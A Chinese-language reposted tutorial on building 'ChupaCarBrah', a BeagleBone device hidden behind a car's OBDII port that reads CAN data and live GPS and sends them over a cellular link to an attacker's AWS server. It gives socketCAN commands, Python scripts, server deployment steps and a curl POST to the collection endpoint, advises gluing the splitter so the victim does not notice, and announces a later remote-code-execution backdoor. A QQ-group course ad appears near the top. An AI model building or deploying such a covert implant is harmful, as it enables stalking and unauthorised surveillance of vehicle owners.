1. 程式人生 > 實用技巧 >使用Python進行汽車黑客攻擊:洩露GPS和OBDII&CAN匯流排資料

使用Python進行汽車黑客攻擊:洩露GPS和OBDII&CAN匯流排資料

本文會介紹一種基於Python用於從OBDII埠傳送和接收CAN訊息的裝置,還可以從行駛中的車輛獲取實時GPS座標。所有的CAN和GPS資料都有可能被洩漏到雲中,因此可以通過Web瀏覽器對汽車進行遠端監控。這篇文章是關於我在使用開源軟體和硬體(python-can / Flask和BeagleBone®Blue)進行汽車黑客攻擊方面的經驗。

很多人學習python,不知道從何學起。
很多人學習python,掌握了基本語法過後,不知道在哪裡尋找案例上手。
很多已經做案例的人,卻不知道如何去學習更加高深的知識。
那麼針對這三類人,我給大家提供一個好的學習平臺,免費領取視訊教程,電子書籍,以及課程的原始碼!


QQ群:101677771

 https://beagleboard.org/blue

ChupaCarBrah間諜裝置

我建立了一個單獨的分步教程,介紹如何構建本文將使用的間諜裝置aka ChupaCarBrah。我還共享了在裝置上執行的python-can客戶端的所有程式碼;以及在AWS上執行的伺服器端Flask應用程式。間諜裝置的第一個版本能夠跟蹤車輛位置並監視CAN資料(例如,發動機RPM,空氣溫度,VIN等)。所有資料都通過新增到Beaglebone的蜂窩LTE調變解調器進行過濾,JSON格式用於將資料傳送到AWS上的Flask應用程式。隨著車輛的行駛,雲中的JSON資料會實時更新,從而使你可以完全遠端監控車輛,就可以在家中對汽車進行攻擊了。

 https://youtu.be/7DfXmD9MddE

ChupaCarBrah上路了

作為本文的後續,我計劃再發布兩篇文章以擴充套件當前的ChupaCarBrah功能:

第2部分— ECU CAN訊息:將顯示如何篡改直接連線到ECU的CAN匯流排(因為OBDII通常僅提供診斷資料)。我將集中精力對CAN訊息進行逆向,以將精心製作的命令傳送到ECU。出於安全原因,我計劃僅分析無危害的命令,例如開鎖門,開啟電動窗等;

第3部分-車輛RCE:我打算擴充套件ChupaCarBrah應用程式,以更加使用者友好的格式顯示正在執行中被竊取的所有資料,例如在地圖上繪製的GPS資料。具有實時資料的GUI還將顯示來自已解碼CAN訊息的當前車輛資訊(速度,RPM等)。我還計劃通過POST端點擴充套件AWS服務,這將允許通過蜂窩網路建立反向HTTP會話,從而將CAN命令提交給車輛。

0x01 威脅建模

通常,汽車製造商採用的威脅模型是通過在CAN匯流排和外部網路之間建立隔離來減少車輛的攻擊面。分隔可以是物理的(空氣間隙)或邏輯的(CAN閘道器/防火牆)。當確實需要連線CAN和外部網路(例如V2VIVI)時,閘道器通過僅沿一種方式轉發CAN訊息來提供邏輯隔離。

用ChupaCarBrah建模

採用該威脅模型的安全級別將直接取決於,對CAN匯流排進行物理訪問的難度和利用外部連線上的漏洞進入CAN匯流排的難度。本文的目的是破解它,並以實用的方式展示攻擊者可以物理訪問車輛並安裝ChupaCarbrah時可以採取的措施。間諜裝置在隔離的CAN匯流排和網際網路之間建立了橋樑,破壞了製造商的威脅模型。

但是,要使用ChupaCarBrah進行完整的測試,你仍然需要將我在此處顯示的內容與其他攻擊技術(例如按鍵欺騙)結合起來,才能進入車輛內部。因此,我認為本文暴露的安全風險較低。但是我仍然想讓製造商意識到製造商考慮CAN訊息加密解決方案的重要性,並提醒車主注意無法完全控制車輛的物理通道的情況(例如,代客泊車,洗車,忘記鎖門等)。

 https://youtu.be/bo04J5m1si0

ChupaCarBrah安裝:不到60秒

一旦進入車內,攻擊者就可以快速將ChupaCarBrah連線到OBDII埠,該裝置足夠小,可以隱藏在儀表板中。所使用的OBDII分離器電纜將在車輛原始聯結器的前面提供一個額外的OBDII母聯結器。如果攻擊者非常狡猾,則可以使用膠水將分離器永久固定在OBDII埠上。這將使受害者最終可以將其他OBDII裝置連線到車輛,而不必希望注意到紅色的ChupaCarBrah裝置。

0x02 汽車黑客概述

有研究者已經很好地分析了使用CAN(控制器區域網)進行汽車黑客攻擊。如果你想更好地瞭解汽車供應商如何使用CAN匯流排來控制你的引擎和其他車輛部件,我建議你看一下Craig Smith《 THE CAR HACKER'S HANDBOOK》

我也推薦這篇非常好的文章:Jared Reabow的《如何使用CAN匯流排破解和升級你的汽車》。它專門針對CAN,並提供了非常有用的提示,例如如何猜測波特率以及如何查詢和接入車輛中的CAN匯流排。

本文結合了兩位作者提出的黑客技術。然後,我通過構建一個簡單的BeagleBone間諜裝置進一步分析,該裝置可通過蜂窩網路與移動中的汽車進行遠端互動,同時通過GPS跟蹤車輛的位置。

0x03 為什麼選擇BeagleBone Blue?

長話短說:BeagleBone Blue已經支援CAN,包括CAN收發器。

BeagleBone Blue嵌入式CAN收發器

這意味著,你的電路板不需要額外的hat。基本上,你可以使用兩條連線線並將BeagleBone的CAN Hi和CAN Lo引腳分別直接連線到汽車OBDII聯結器上的6和14引腳。不僅如此,BeagleBone是一臺完整的單板計算機,其最新映像已經預裝了SocketCan

它還具有嵌入式WiFi網絡卡,可讓你使用CAN工具,而無需將計算機物理連線到汽車上。它將使你可以將裝置“嵌入”到汽車中,並使其完全脫離計算機執行。

對於長距離連線,可以使用USB LTE調變解調器(將在下一部分中介紹)。

因此,BeagleBone Blue板是汽車黑客的一個很好的選擇,特別是當其他流行的工具(例如CANtact)在幾乎所有美國分銷商都售罄時。如果不想使用開源,可以嘗試使用諸如Macchina.cc之類的商業產品(我自己還沒有嘗試過,但是由於它也是基於BeagleBoard的,因此我相信這裡介紹的大部分內容仍然適用) 。

0x04 編譯ChupaCarBrah

你所需的最少零件是BeagleBone BlueJST / SH聯結器和連線線,它們應按如下所示連線:

BeagleBone Blue JST / SH聯結器,具有連線到CAN插槽的連線線

確保連線線足夠長,以便可以將其正確連線到汽車的OBDII聯結器。請記住,如果電線太長,則可能需要扭曲黃色和綠色(CAN Hi和Lo)以接近標準CAN電纜的效能。當然,你始終可以使用真實的CAN電纜代替連線線。

BeagleBone Blue已連線到OBDII

這將允許你啟動BeagleBone,啟動套接字CAN介面以傳送和接收CAN訊息。這就是開始入侵CAN所需的一切,但是,通過新增一些其他部件,你可以大大提高BeagleBone的能力,以建立完整的ChupaCarBrah間諜裝置。我將所有分步說明放在單獨的文章中來構建你的ChupaCarbrah,這樣我就可以保持本文的簡潔性,並專注於Python的黑客攻擊。

請參閱ChupaCarBrah-Hackster.io上的BeagleBone和Python進行汽車黑客活動,以獲取有關如何建立支援GPS和蜂窩網路的完整間諜裝置的完整詳細資訊。

0x05 傳送和接收CAN訊息

將BeagleBone連線到OBDII後,按電源按鈕啟動它,然後通過SSH連線到它。我建議儘可能使用WiFi。WIFI傳輸資訊更快,你將在蜂窩資料計劃上節省一些錢。你將需要開啟點火開關,以便汽車的CAN裝置也能“啟動”。你可能需要啟動引擎,以免損壞汽車的電池。

在使用Python程式碼之前,請嘗試使用socketCAN手動傳送和接收一些訊息。首先,為can0(可以為零)介面設定波特率並啟用它。

 sudo ip link set can0 up type can bitrate 500000
 sudo ifconfig can0 up

大多數汽車在OBDII總線上使用500kpbs,使用candump收聽can0介面上的訊息

 sudo candump can0

根據你的車輛,你可能已經在總線上看到CAN訊息。如果你的公交車很安靜,請開啟一個新終端,然後使用cansend傳送一些訊息:

 sudo cansend can0 7DF#0209020000000000

你應該在執行candump的終端上看到該訊息及其響應。如果沒有,你可能需要檢查接線和/或車輛使用的波特率。你剛剛傳送的CAN訊息將要求車輛的VIN號,並且響應應該類似於以下截圖。

用於獲取車輛VIN的CAN訊息

VIN編號資料顯示在最後3位“ 32 43 34”中,可以將其從十六進位制解碼為ASCII編碼為“ 2C4”:

 echo “32 43 34” | xxd -r -p

VIN資料格式如下:

VIN資料格式

如果將ASCII VIN提供給此線上NHTSA工具,則可以解析你的車輛WMI(世界製造商識別符號)並檢查其準確性。以我為例,“ 2C4”表示我的車是加拿大製造的道奇車。

既然你已經確認可以使用socketCAN向汽車傳送和接收來自汽車的CAN訊息,則可以使用Python進行程式設計:

 
 import can
 
 bus = can.interface.Bus(bustype='socketcan', channel='can0', bitrate=500000)
 
 service_int = int("9", 16)
 pid_int = int("2", 16)
 
 msg = can.Message(arbitration_id=0x7DF, data=[2, service_int, pid_int, 0, 0, 0, 0, 0], is_extended_id=False)
 try:
     bus.send(msg)
     response = bus.recv(timeout=2)
     print(response)
 except can.CanError:
     print("CAN error")
 finally:
     bus.shutdown()

如果要嘗試其他命令,請參考此表,並提供可用的可用OBDII PID列表。確保在Python指令碼中為變數“ service_int”分配“模式(十六進位制)”的整數值,併為變數“ pid_int”分配“ PID(十六進位制)”變數的整數值。

例如,如果要讀取引擎RPM,請使用以下命令更改指令碼的第5行和第6行:

 service_int = int(“1”, 16)
 pid_int = int(“0C”, 16)

你可以在此處找到有關OBDII PID的更多文件。

0x06 GPS座標

要獲取GPS資料,只需從ChupaCarBrah裝置執行“ tio”命令。

 tio / dev / ttyO2 -b 4800

它會顯示很多GPS NMEA資訊,但是我們只是為了獲取地理位置,你只會對GPRMC 資訊感興趣。

來自ChupaCarBrah的GPS資料

你可以通過複製GPRMC 資訊(如地理位置解碼$ GPRMC,170454.000,A,3500.87097,N,10641.14163,W,0.00,171.40,100520 ,,, A * 79),這個線上GPRMC工具,它將繪製你的在地圖上的確切位置。

GPS GPRMC地理位置在地圖上繪製。

你可以使用以下Python指令碼檢索GPS地理位置GPRMC資料:

 import time
 import serial
 
 gps_data = ""
 utf_data = ""
 ser = serial.Serial('/dev/ttyO2', 4800)
 counter = 0
 while utf_data.find("GPRMC") == -1:
     counter += 1
     try:
         ser_data = ser.readline()
         utf_data = ser_data.decode()
     except:
         utf_data = ""
     time.sleep(0.5)
     if counter > 50:
         break
 ser.close()
 if utf_data.find("GPRMC") != -1:
     utf_data = utf_data.replace('\r', '')
     utf_data = utf_data.replace('\n', '')
     gps_data = utf_data
 
 print(gps_data)

Python程式碼可檢索GPS地理位置座標。

0x07 連線到蜂窩網路

我將全息圖資料計劃與Nova HOL-NOVA-R410蜂窩調變解調器一起使用,但是與BeagleBone相容的任何其他運營商或蜂窩調變解調器都可以正常工作,只要你能夠使用蜂窩資料連線到Internet就行。

Hologram的優點是,它們提供了Python SDK。使用資料計劃啟用SIM卡並安裝SDK之後,即可使用此Python指令碼。它允許你通過手機以程式設計方式連線到Internet,並ping Google以檢查連線性。

 import psutil
 import time
 import subprocess
 from Hologram.CustomCloud import CustomCloud
 
 
 def hologram_network_connect():
     hologram_network_disconnect()
     time.sleep(2)
     cloud = CustomCloud(None, network='cellular')
     cloud.network.disable_at_sockets_mode()
     res = cloud.network.connect()
     message = ""
     if res:
         message = "PPP session started"
     else:
         message = "Failed to start PPP"
 
     print(message)
 
 
 def hologram_network_disconnect():
     print('Checking for existing PPP sessions')
     for proc in psutil.process_iter():
 
         try:
             pinfo = proc.as_dict(attrs=['pid', 'name'])
         except:
             print("Failed to check for existing PPP sessions")
 
         if 'pppd' in pinfo['name']:
             print('Found existing PPP session on pid: %s' % pinfo['pid'])
             print('Killing pid %s now' % pinfo['pid'])
             process = psutil.Process(pinfo['pid'])
             process.terminate()
             process.wait()
 
 
 hologram_network_connect()
 time.sleep(2)
 
 ping_response = subprocess.Popen(["/bin/ping", "-c1", "-w100", "www.google.com"], stdout=subprocess.PIPE).stdout.read()
 print(ping_response.decode())
 
 time.sleep(2)
 hologram_network_disconnect()

Python程式碼將Hologram蜂窩模式連線到Internet。

請參閱Hackster.io上的ChupaCarBrah教程,以獲取有關如何安裝全息圖調變解調器及其SDK的完整詳細資訊。

0x08 提取資料

首先,你將需要伺服器將資料傳送到。使用Github上可用的Pythonchupacarbrah_server.py程式碼,並將其作為服務部署在AWS上。

下面是執行的命令:

 ~$ git clone https://github.com/blupants/chupacarbrah_server.git
 ~$ cd chupacarbrah_server
 ~$ cp chupacarbrah_server.py application.py
 ~$ source virt/bin/activate
 (virt) ~$ pip install flask==1.0.2
 (virt) ~$ pip freeze > requirements.txt
 (virt) ~$ deactivate
 ~$ python3 -m pip install awscli
 ~$ python3 -m pip install awsebcli
 ~$ eb init -p python-3.6 flask-chupacarbrah — region us-east-2
 ~$ $ eb init
 Do you want to set up SSH for your instances? (y/n): ySelect a keypair. 1) my-keypair 2) [ Create new KeyPair ]
 ~$ eb create chupacarbrah-env
 ~$ eb open

如果你需要進一步的詳細說明,請再次參考Hackster.io上的ChupaCarBrah教程

服務執行後,記下URL,以便你可以將指令碼指向BeagleBone,以在那裡傳送資料。你可以通過curl釋出一些虛擬資料來確認服務已啟動並正在執行:

 SERVER_URL= curl — header “Content-Type: application/json” \
 — request POST \
 — data ‘{“car_uuid”:”51f317ec266e4adb956212201f87ba52", “VIN”: “2C4”, “maker”: “Generic”, “log”:{“timestamp”:”20200501120000",”GPS”:”00"}}’ \
 “$SERVER_URL/api/v1/cars”
 curl “$SERVER_URL/api/v1/status”

在AWS上從ChupaCarBrah服務釋出和獲取虛擬資料

確認AWS服務正常執行後,用SSH到BeagleBone並從Github克隆chupacarbrah。編輯chupacarbrah.py指令碼,並使用上一步中的AWS服務URL 設定server_url變數。

 git clone  cd chupacarbrah
 sudo python3 chupacarbrah.py

執行後,ChupaCarBrah客戶端將使用simple.csv上啟用的所有CAN命令,並將它們傳送到CAN匯流排。響應將顯示在標準輸出上,併發送到/ tmp / chupacarbrah / log檔案。每隔1分鐘,它還會作為JSON傳送到AWS服務。

要停止它,請開啟一個新終端(ssh會話)並執行:

 sudo touch /tmp/stop

為了啟用/禁用更多OBDII PID命令,你可以通過在“啟用”列上將要啟用的所有命令設定為1,將要禁用的命令設定為0,來編輯檔案obd2_std_PIDs_enabled.csv。在啟用其他命令之前,請確保你瞭解這些命令的功能,並知道自己在做什麼。你剛剛克隆到BeagleBone的chupacarbrah github儲存庫上都提供了simple.csv和obd2_std_PIDs_enabled.csv檔案。

開啟網路瀏覽器,並監視每分鐘更新的JSON資料以及車輛的所有洩漏資訊。

來自AWS上ChupaCarBrah服務的樣本JSON虛擬資料

你可能需要重新整理瀏覽器上的頁面以更新顯示的資料。由於它使用JSON格式,因此非常便於建立前端來使用它和/或將其與其他應用程式整合。

至此,本系列的第一部分已經完成,一共是3篇文章。請繼續關注下一部分,我將介紹ECU CAN訊息併為ChupaCarBrah新增更多功能。最終目標是在車輛中建立一個完整的後門,並支援遠端程式碼執行。